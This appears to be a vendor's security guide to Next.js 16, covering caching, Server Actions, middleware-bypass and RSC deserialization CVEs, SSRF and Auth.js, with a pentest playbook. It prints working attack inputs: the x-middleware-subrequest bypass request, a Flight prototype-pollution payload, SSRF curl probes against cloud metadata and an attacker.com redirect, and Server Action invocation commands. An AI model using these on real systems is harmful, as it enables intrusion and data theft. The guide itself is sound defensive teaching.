TL;DR
x-middleware-subrequest header — strip this header at your reverse proxy.cacheComponents model in Next.js 16 is opt-in and safer than implicit caching, but cross-user data leakage is possible without explicit cache scoping.proxy.ts (formerly middleware.ts) runs on Node.js in Next.js 16 — never use it as the sole authorization layer.Released on October 21, 2025, Next.js 16 is the most structurally significant release since the App Router shipped in Next.js 13. The changes relevant to security engineers are not cosmetic.
Cache Components and use cache. The implicit caching behavior that confused developers for two years is gone. In Next.js 16, all dynamic code executes at request time by default. Caching is now opt-in through the use cache directive and the cacheLife/cacheTag APIs. This is a security improvement by design: implicit caching of authenticated responses was a recurring misconfiguration vector. The downside is that the new model introduces its own surface — see Caching Pitfalls below.
proxy.ts replaces middleware.ts. Middleware now runs on Node.js rather than the Edge runtime. The rename is intentional — it signals that this layer handles network-level routing, not business logic. The Edge runtime's limited API surface previously forced some developers into insecure patterns. Node.js gives the proxy layer access to the full crypto and HTTP stack.
Async params and cookies. params, searchParams, cookies(), and headers() are now exclusively async in Next.js 16. This removes an entire class of race conditions where synchronous access returned stale values mid-render, and makes the data flow more explicit to security reviewers.
Breaking change — next/image local src enumeration prevention. Next.js 16 now requires images.localPatterns to be explicitly configured before local image optimization is permitted. Optimization requests outside localPatterns are now blocked with 400, preventing unintended quality enumeration.
images.dangerouslyAllowLocalIP. Local IP optimization is now blocked by default. Setting this to true re-enables routing optimization requests to 127.0.0.1, 10.0.0.0/8, and similar — a footgun for internal SSRF if enabled carelessly in production.
Turbopack stable. Security relevance: Turbopack is now the default bundler. It handles module isolation and source map generation differently from webpack. Teams that relied on obscuring webpack chunk structure to hide action IDs need to re-audit their assumptions under Turbopack.
| Feature | Next.js 14/15 | Next.js 16 |
|---|---|---|
| Caching model | Implicit, opt-out | Explicit opt-in (use cache) |
| Middleware runtime | Edge (limited APIs) | Node.js (proxy.ts) |
params access | Sync or async | Async only |
| Image local src | Unrestricted | Requires images.localPatterns |
| Local IP optimization | Allowed | Blocked by default |
| Default bundler | webpack | Turbopack |
| RSC action IDs | Hash of source location | Encrypted non-deterministic (since 15) |
React Server Components run exclusively on the server. Client Components run on both the server (prerender) and the browser. The security boundary is enforced at the module system level: RSC imports are resolved in a server-only webpack layer that is never shipped to the client.
The mental model that matters for security testing:
'use client') execute in browser context after hydration. Anything they receive as props was already serialized and sent over the wire.// VULNERABLE: Full database record passed to Client Component
// apps/dashboard/page.tsx (Server Component)
export default async function Page() {
const user = await db.user.findUnique({ where: { id: session.userId } });
// user.passwordHash, user.mfaSecret, user.apiKeyHash are all in this object
return <ProfileCard user={user} />; // sent to client serialized
}
// SAFE: Data Transfer Object pattern
export default async function Page() {
const user = await db.user.findUnique({ where: { id: session.userId } });
return <ProfileCard name={user.name} avatarUrl={user.avatarUrl} />;
}The server-only package enforces the boundary at build time. Any module marked with import 'server-only' will cause a build error if imported from a Client Component. This is the correct defense for database access layers and internal API clients.
React Taint APIs (experimental_taintObjectReference, experimental_taintUniqueValue) add a runtime layer on top. A tainted object or value will throw if passed to the client context — catching cases where the module boundary is correct but the data flow is wrong. Enable in next.config.js with experimental.taint: true.
Hydration mismatches as security signals. When a Server Component renders differently from what the client receives during hydration, Next.js logs a hydration error. Pentesters should monitor the browser console for these errors — they can indicate that the server is computing sensitive values that differ from the publicly visible render, which sometimes signals business logic the server is hiding from the client but not adequately protecting.
graph TD
Client["Browser / Client Component"]
Middleware["proxy.ts (Node.js)"]
ServerComp["Server Component (RSC)"]
DAL["Data Access Layer\n(server-only)"]
DB[(Database)]
Env["process.env\n(secrets)"]
Client -->|"HTTP Request"| Middleware
Middleware -->|"Route to App Router"| ServerComp
ServerComp -->|"import (build-time enforced)"| DAL
DAL -->|"SQL / ORM query"| DB
DAL -->|"reads secrets"| Env
ServerComp -->|"props serialized"| Client
style Env fill:#ff6b6b,color:#fff
style DAL fill:#ffd93d,color:#333
style Middleware fill:#6bcb77,color:#333Server Actions are exported async functions marked with 'use server'. The framework generates encrypted action IDs at build time and maps POST requests against them. Every exported function is a public HTTP endpoint — regardless of whether the UI renders the form that calls it.
The fundamental misunderstanding. Many developers treat Server Actions as internal functions that only run when the corresponding form is submitted. This is wrong. Any POST request to the app with the correct Next-Action header and a valid action ID will execute the function. The action ID is embedded in the client-side JavaScript bundle — visible to any authenticated user who loads the page.
// VULNERABLE: BOLA — no resource ownership check
'use server'
export async function deleteInvoice(invoiceId: string) {
const session = await getSession();
if (!session) throw new Error('Unauthenticated');
// Bug: any authenticated user can delete any invoice
await db.invoice.delete({ where: { id: invoiceId } });
}
// SAFE: Authorization check on the resource
'use server'
export async function deleteInvoice(invoiceId: string) {
const session = await getSession();
if (!session) throw new Error('Unauthenticated');
const invoice = await db.invoice.findUnique({ where: { id: invoiceId } });
if (!invoice || invoice.ownerId !== session.userId) {
throw new Error('Forbidden');
}
await db.invoice.delete({ where: { id: invoiceId } });
}TypeScript types do not protect Server Actions at runtime. A FormData object passed from the client can contain any key. If the action spreads or passes data directly to an ORM without an allowlist, attackers can inject arbitrary fields.
// VULNERABLE: mass assignment via FormData spread
'use server'
export async function updateProfile(formData: FormData) {
const session = await getSession();
const data = Object.fromEntries(formData); // attacker controls all keys
await db.user.update({
where: { id: session.userId },
data, // can include: { role: 'admin', subscription: 'enterprise' }
});
}
// SAFE: explicit allowlist with Zod validation
'use server'
import { z } from 'zod';
const ProfileSchema = z.object({
name: z.string().max(100),
bio: z.string().max(500),
});
export async function updateProfile(formData: FormData) {
const session = await getSession();
const parsed = ProfileSchema.safeParse(Object.fromEntries(formData));
if (!parsed.success) throw new Error('Invalid input');
await db.user.update({
where: { id: session.userId },
data: parsed.data, // only name and bio, nothing else
});
}Next.js Server Actions compare the Origin header to the Host header and abort mismatches. This protection applies only to actions generated by the framework's compiler. Custom Route Handlers (route.ts) have no automatic CSRF protection. The Origin check also fails silently if serverActions.allowedOrigins is misconfigured — including an attacker-controlled domain in that list negates the entire protection.
See the /learn/csrf deep dive for the full CSRF test matrix.
Server Actions defined inside components capture outer scope variables in closures. Next.js encrypts these closed-over values before serializing them to the client. However:
NEXT_SERVER_ACTIONS_ENCRYPTION_KEY. In multi-instance deployments without this variable set, each server generates a different key — causing action invocations to fail across instances and pushing teams to disable encryption.Disclosed: March 21, 2025. CVSS: 9.1 Critical. Affected: Next.js 11.1.4–12.3.4, 13.0.0–13.5.8, 14.0.0–14.2.24, 15.0.0–15.2.2. Fixed: 12.3.5, 13.5.9, 14.2.25, 15.2.3.
Root cause. Next.js uses an internal header x-middleware-subrequest to track whether a request originated from middleware itself — preventing infinite loops when middleware makes subrequests. The header was designed to be set only by the framework. No code validated that this header came from the application rather than the external client.
Exploitation. An attacker adds the header to any outbound HTTP request:
GET /admin/users HTTP/1.1
Host: target.example.com
x-middleware-subrequest: middleware:middleware:middleware:middleware:middlewareThe middleware execution is skipped entirely. The request reaches the route handler without any authentication check. For applications in src/ directories:
x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middlewareImpact. Every middleware-protected route is publicly accessible. Authentication redirects, IP allowlists, RBAC checks, security headers added in middleware, and CSP enforcement are all bypassed with a single header.
Why middleware-only auth is always wrong. CVE-2025-29927 is not an anomaly — it is the predictable consequence of treating a single execution layer as the sole security boundary. The correct architecture re-verifies the session inside every Server Action, Server Component, and Route Handler. The Next.js documentation now explicitly states this. The middleware (proxy.ts in Next.js 16) is a UX gate, not a security gate.
Remediation checklist:
x-middleware-subrequest at your edge proxy (nginx, Traefik, Cloudflare WAF) — Cloudflare published a managed rule for this in March 2025.Detection with BreachVex. The BreachVex pipeline's auth_session squad sends the bypass header to every route discovered during cartography. A 200 response on a route that returned 302/401 without the header is flagged as a confirmed middleware bypass with a proof-of-request capture.
Disclosed: December 3, 2025. CVSS: 10.0 Critical. Affected: React 19.0.0, 19.1.0, 19.1.1, 19.2.0. Patched: 19.0.1, 19.1.2, 19.2.1. Next.js 15.0.0–16.0.6 affected; patched in 16.0.7+/15.5.x branch. Exploited in the wild: confirmed by Wiz Research, Amazon Threat Intelligence, and Datadog.
Root cause. The React Server Components Flight protocol is the binary serialization format that carries RSC payloads between server and client. When a client-originated payload (from a Server Action call or RSC re-render request) arrives at the server, Next.js passes it to React's Flight decoder. The decoder's deserialization logic did not validate the structure of incoming keys — allowing an attacker to inject crafted keys that pollute the JavaScript prototype chain (__proto__, constructor) and influence server-side execution paths.
What this means for testing. Any App Router endpoint is an attack surface. A standard Next.js app created with create-next-app in production mode is exploitable without configuration changes. The exploit is:
# Conceptual payload — do not use against systems you do not own
import httpx
payload = b'0:{"$$typeof":"$RE","__proto__":{"shell":"id"}}'
r = httpx.post(
"https://target.example.com/api/sensitive-action",
content=payload,
headers={
"Content-Type": "text/x-component",
"Next-Action": "<action-id-from-js-bundle>",
}
)Related vulnerabilities disclosed December 11, 2025:
Patching note. The initial React fix for CVE-2025-55184 was incomplete — a follow-up patch was issued as CVE-2025-67779 in late December 2025. Complete fix in React 19.0.4 / 19.1.5 / 19.2.4 (CVE-2025-67779 backport). Versions 19.0.2 / 19.1.3 / 19.2.2 partially fixed but still vulnerable to DoS variant.
use cache, ISR, and Revalidation Abuseuse cacheThe use cache directive marks a component or function as cacheable. The compiler generates a cache key from the function arguments. If a cached function returns user-specific data but is called with no user-identifying argument, all users share the same cache entry.
// VULNERABLE: user data cached globally
'use cache'
export async function getUserDashboard() {
const session = await getSession(); // session is NOT part of the cache key
return db.user.findUnique({ where: { id: session.userId } });
}
// SAFE: user ID included in arguments (becomes part of cache key)
'use cache'
export async function getUserDashboard(userId: string) {
return db.dashboard.findUnique({ where: { userId } });
}
// Call site: getUserDashboard(session.userId)These two vulnerabilities were patched in Next.js 16.2.5 and 15.5.16 (released May 2026). CVE-2026-44576 affects all versions from 14.2.0+; CVE-2026-44582 affects from 13.4.6+ — older trains also need patching.
CVE-2026-44576: RSC responses are vulnerable to cache poisoning when shared CDNs do not correctly partition response variants. An attacker crafts a request that causes an RSC component payload to be cached at the URL path for the full-page HTML response — subsequent visitors receive component JSON instead of HTML.
CVE-2026-44582: Collisions in the _rsc cache-busting parameter allow attackers to poison CDN cache entries so users receive the wrong response variant for a given URL.
Mitigation if you cannot patch immediately: Configure your CDN to key on the RSC request header and honor the Vary response header. Disable shared caching for App Router responses.
ISR (Incremental Static Regeneration) with revalidate generates publicly cacheable HTML. If a developer wraps an authenticated page in revalidate without understanding that the cached page captures the server-rendered output of the authentication check at build time, the page may return stale auth state.
More critically: if an ISR page renders content that was accessible at build time but later restricted, the cached version remains publicly accessible until the next revalidation — which may never happen if no deploy or revalidatePath call is triggered.
Test for this: compare the response to a revalidation-gated route with If-None-Match and without. If the ETag matches for requests with and without valid session cookies, the page is serving a globally cached response that ignores session state.
CVE-2025-29927 is the most severe middleware bypass, but several additional patterns survive into patched versions:
Trailing slash and case normalization. Middleware matchers use route patterns that may not account for trailing slashes or mixed case. If the matcher is /admin/:path* and the request arrives as /Admin/users (capital A), some configurations skip the match. Test all protected routes with trailing slashes, double slashes, and URL encoding.
/_next/ prefix bypass. The internal /_next/static and /_next/image paths bypass most middleware matchers by convention. If your middleware sets security headers or performs auth checks, verify that requests to these paths still receive the expected headers downstream.
Edge function cold-start timing. In Vercel Edge deployments, middleware occasionally executes in parallel with route handlers during cold starts. Race conditions where the middleware session check fires after the handler begins processing are rare but have been reported in bug bounty programs.
X-Forwarded-Host spoofing. Server Actions compare Origin to Host (or X-Forwarded-Host). If your reverse proxy trusts client-supplied X-Forwarded-Host headers without validation, an attacker can set X-Forwarded-Host: attacker.com and the CSRF check compares Origin: attacker.com to X-Forwarded-Host: attacker.com — always a match.
| Property | Route Handlers (route.ts) | Server Actions ('use server') |
|---|---|---|
| HTTP method | GET, POST, PUT, DELETE, etc. | POST only |
| CSRF protection | None (manual required) | Built-in Origin/Host check |
| Action ID | URL path | Encrypted hash in JS bundle |
| Dead code elimination | No | Yes (unused actions removed) |
| Input type | Raw Request object | FormData / typed arguments |
| Auth enforcement | Manual (no framework help) | Manual (no framework help) |
| Invokable externally | Yes (by URL) | Yes (with action ID + Next-Action header) |
| Closure capture | No | Yes (encrypted, with key rotation caveats) |
The key finding for security engineers: neither Route Handlers nor Server Actions provide automatic authorization. The framework's CSRF protection for Server Actions is valuable but not sufficient — and it does not exist at all for Route Handlers.
Treat every Route Handler as equivalent to a public REST endpoint. Treat every Server Action as a public POST endpoint whose URL is non-obvious but discoverable.
Auth.js v5 (the successor to NextAuth) introduced significant API changes from v4. The migration surface is a known source of security regressions.
JWT sessions cannot be invalidated early. Unlike database sessions, JWT sessions stored in HttpOnly cookies expire only when the token's exp claim passes. If a user's privileges are revoked, the JWT remains valid until expiration. For applications with role-based access, this means a fired admin retains access for the full session duration — typically 30 days.
Middleware-only auth is the documented footgun. The Auth.js v5 migration guide shows a pattern where auth() is called in middleware.ts to protect routes. Post-CVE-2025-29927, this pattern is explicitly insufficient. Every protected route must call auth() inside the handler, not just in middleware.
The session.user object is not type-safe without augmentation. TypeScript module augmentation for session.user is required to access custom fields. Teams that skip this pattern cast to any, losing type safety on the object that carries authorization data.
NEXTAUTH_URL misconfiguration. In deployments with multiple domains or reverse proxies, NEXTAUTH_URL must match the canonical domain. A mismatch causes redirect-based auth flows to target the wrong origin — a potential open redirect if the variable is set to a value the proxy rewrites. Verify this in both staging and production environments.
JWT algorithm confusion. Auth.js uses HS256 (HMAC-SHA256) for JWTs by default. If secret is not set in production, Auth.js falls back to a derived value that may be predictable. Set AUTH_SECRET explicitly to a 32-byte random value and rotate it on a schedule.
See the /learn/jwt-overview page for the full JWT algorithm confusion attack chain.
The /_next/image endpoint accepts a url query parameter, fetches the target, optimizes the image, and returns it to the client. This is a server-side fetch controlled by user input — a canonical SSRF setup.
Default protection. images.remotePatterns restricts which hostnames the optimization endpoint will fetch. A strict configuration blocks internal network access:
// next.config.ts
const nextConfig = {
images: {
remotePatterns: [
{
protocol: 'https',
hostname: 'cdn.example.com',
pathname: '/assets/**',
},
],
},
};Misconfiguration patterns that re-open SSRF:
// VULNERABLE: wildcard hostname
remotePatterns: [{ hostname: '**' }]
// VULNERABLE: overly broad wildcard
remotePatterns: [{ hostname: '*.example.com' }]
// Allows: internal.example.com, 169.254.169.254.example.com (check your DNS)CVE-2024-34351 (Server Action Host Header SSRF). In Next.js before 14.1.1, Server Actions that performed redirect('/') used the client-supplied Host header to build the redirect URL. An attacker who controlled the Host header could redirect the server-side fetch to an arbitrary internal address — including cloud metadata endpoints. Fixed in 14.1.1.
Testing procedure:
# Test 1: basic internal fetch
curl "https://target.com/_next/image?url=http://169.254.169.254/latest/meta-data/&w=256&q=75"
# Test 2: localhost service discovery
curl "https://target.com/_next/image?url=http://localhost:6379/&w=256&q=75"
# Test 3: HTTPS downgrade + redirect chain
curl "https://target.com/_next/image?url=https://attacker.com/redirect-to-internal&w=256&q=75"A response with status 200 and Content-Type: image/* confirms a successful fetch. An error message leaking an internal hostname or IP in the response body is a blind SSRF confirmation.
See the /learn/ssrf-overview page for the full SSRF exploitation methodology.
# Detect Next.js version from response headers
curl -I https://target.com | grep -i x-powered-by
# App Router fingerprint: RSC header present
curl -H "RSC: 1" https://target.com | head -c 200
# Check for _next/static manifest
curl https://target.com/_next/static/chunks/main.js | grep -o '"version":"[0-9.]*"'
# Detect proxy.ts vs middleware.ts
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
https://target.com/adminMap the detected version against the known CVE table:
| CVE | Severity | Patched in |
|---|---|---|
| CVE-2025-29927 | CVSS 9.1 | 12.3.5, 13.5.9, 14.2.25, 15.2.3 |
| CVE-2025-55182 | CVSS 10.0 | 16.0.7, React 19.0.1 |
| CVE-2025-55183 | CVSS 5.3 | React 19.0.3 |
| CVE-2025-55184 | CVSS 7.5 | React 19.0.4 / 19.1.5 / 19.2.4, CVE-2025-67779 |
| CVE-2026-44576 | CVSS 5.4 Medium | 15.5.16, 16.2.5 |
| CVE-2026-44582 | CVSS 5.4 Medium | 15.5.16, 16.2.5 |
| CVE-2024-46982 | CVSS 7.5 | 13.5.7, 14.2.10 |
| CVE-2024-34351 | High | 14.1.1 |
# Extract action IDs from webpack chunks
curl -s https://target.com/_next/static/chunks/app/layout.js \
| grep -oP '"[a-f0-9]{40}"' | sort -u
# Invoke a discovered action
curl -X POST https://target.com/ \
-H "Next-Action: <extracted-action-id>" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d ""
# Test for BOLA: send another user's resource ID
curl -X POST https://target.com/ \
-H "Next-Action: <action-id>" \
-H "Cookie: session=<your-session>" \
-d "invoiceId=<other-users-invoice-id>"# Check for user-specific content in cached responses
# Step 1: Fetch as user A, record ETag
ETAG_A=$(curl -sI https://target.com/dashboard -H "Cookie: session=<user-a>" | grep ETag)
# Step 2: Fetch as user B, compare ETag
ETAG_B=$(curl -sI https://target.com/dashboard -H "Cookie: session=<user-b>" | grep ETag)
# If ETags match, both users are receiving the same cached response
echo "User A ETag: $ETAG_A"
echo "User B ETag: $ETAG_B"Review or request next.config.ts for:
images.remotePatterns — wildcard patternsserverActions.allowedOrigins — attacker-controlled domainsheaders() — missing Content-Security-Policy, X-Frame-Options, Referrer-Policyrewrites() — paths that proxy to internal servicesredirects() — destination values that include user-controlled segments (open redirect)experimental.taint: false — missing taint protection on sensitive objectsAUTH_SECRET set to a random 32-byte value?auth() as the sole authorization check?NEXTAUTH_URL set to the canonical production domain?The BreachVex pipeline includes a dedicated Next.js detection module in the cartography phase. On target fingerprint as a Next.js application, the following automated tests run:
Middleware bypass probe. The auth_session squad sends the x-middleware-subrequest bypass header to every route discovered in the site map. A route that responds 200 to the header but 302/401 without it is flagged as a confirmed middleware bypass. The HTTP request and response are captured as proof.
Action ID extraction. The js_analyzer_subgraph extracts webpack chunk manifests and identifies strings matching the Next.js action ID format (Next-Action headers in captured traffic, 40-character hex strings in JS bundles). Extracted IDs are passed to the api_security squad for authorization testing.
RSC Flight fuzzing. On targets running Next.js 16.0.0–16.0.6, the pipeline sends a crafted Flight protocol payload to detected server action endpoints. A stack trace or unexpected 500 response is captured as a potential deserialization issue, with manual confirmation required.
Image endpoint SSRF. The ssrf_xxe squad probes /_next/image with internal URLs derived from the target's cloud provider (IMDS endpoints, detected Kubernetes service IPs from DNS enumeration). Responses are analyzed for content-type and size matching known metadata responses.
Cache poisoning. The pipeline sends RSC requests with colliding _rsc values and compares response bodies for cross-user contamination, using two separate test accounts where credentials are provided.
For confirmed Server Action BOLA vulnerabilities, the proof engine captures the full HTTP exchange — the action ID source location in the JS bundle, the unauthorized request, and the successful server response — and includes it in the SARIF report with a severity of High (CVSS 8.1 for unauthenticated IDOR, or Critical if privilege escalation is possible).
See /learn/idor and /learn/mass-assignment for the underlying vulnerability classes this methodology covers.
Next.js 16 is a materially more secure framework than its predecessors on three specific dimensions: opt-in caching reduces implicit cache poisoning, proxy.ts clarifies the network boundary and moves it to Node.js, and async-only APIs eliminate a class of race conditions. The Next.js team's response to CVE-2025-29927 and CVE-2025-55182 was fast and coordinated.
The attack surface did not shrink. RSC deserialization is now a proven RCE vector with confirmed in-the-wild exploitation. Server Actions are publicly accessible HTTP endpoints whose IDs are extractable from the JS bundle. The use cache model introduces new cross-user data leakage patterns. Cache poisoning via RSC header collisions was patched in 2026, months after 16.0 shipped.
For AppSec engineers testing Next.js applications: start with the version check, test CVE-2025-29927 first (it is the highest-value low-effort check), enumerate Server Action IDs from the bundle, audit the caching configuration, and verify that authorization checks exist inside every action and route handler — not just in middleware.
For developers shipping Next.js 16 to production: upgrade immediately to 16.2.5, set AUTH_SECRET and NEXT_SERVER_ACTIONS_ENCRYPTION_KEY, configure images.remotePatterns strictly, and implement a Data Access Layer with import 'server-only' to enforce the server boundary at build time.
The framework gives you the tools. The security model still requires you to use them.
References: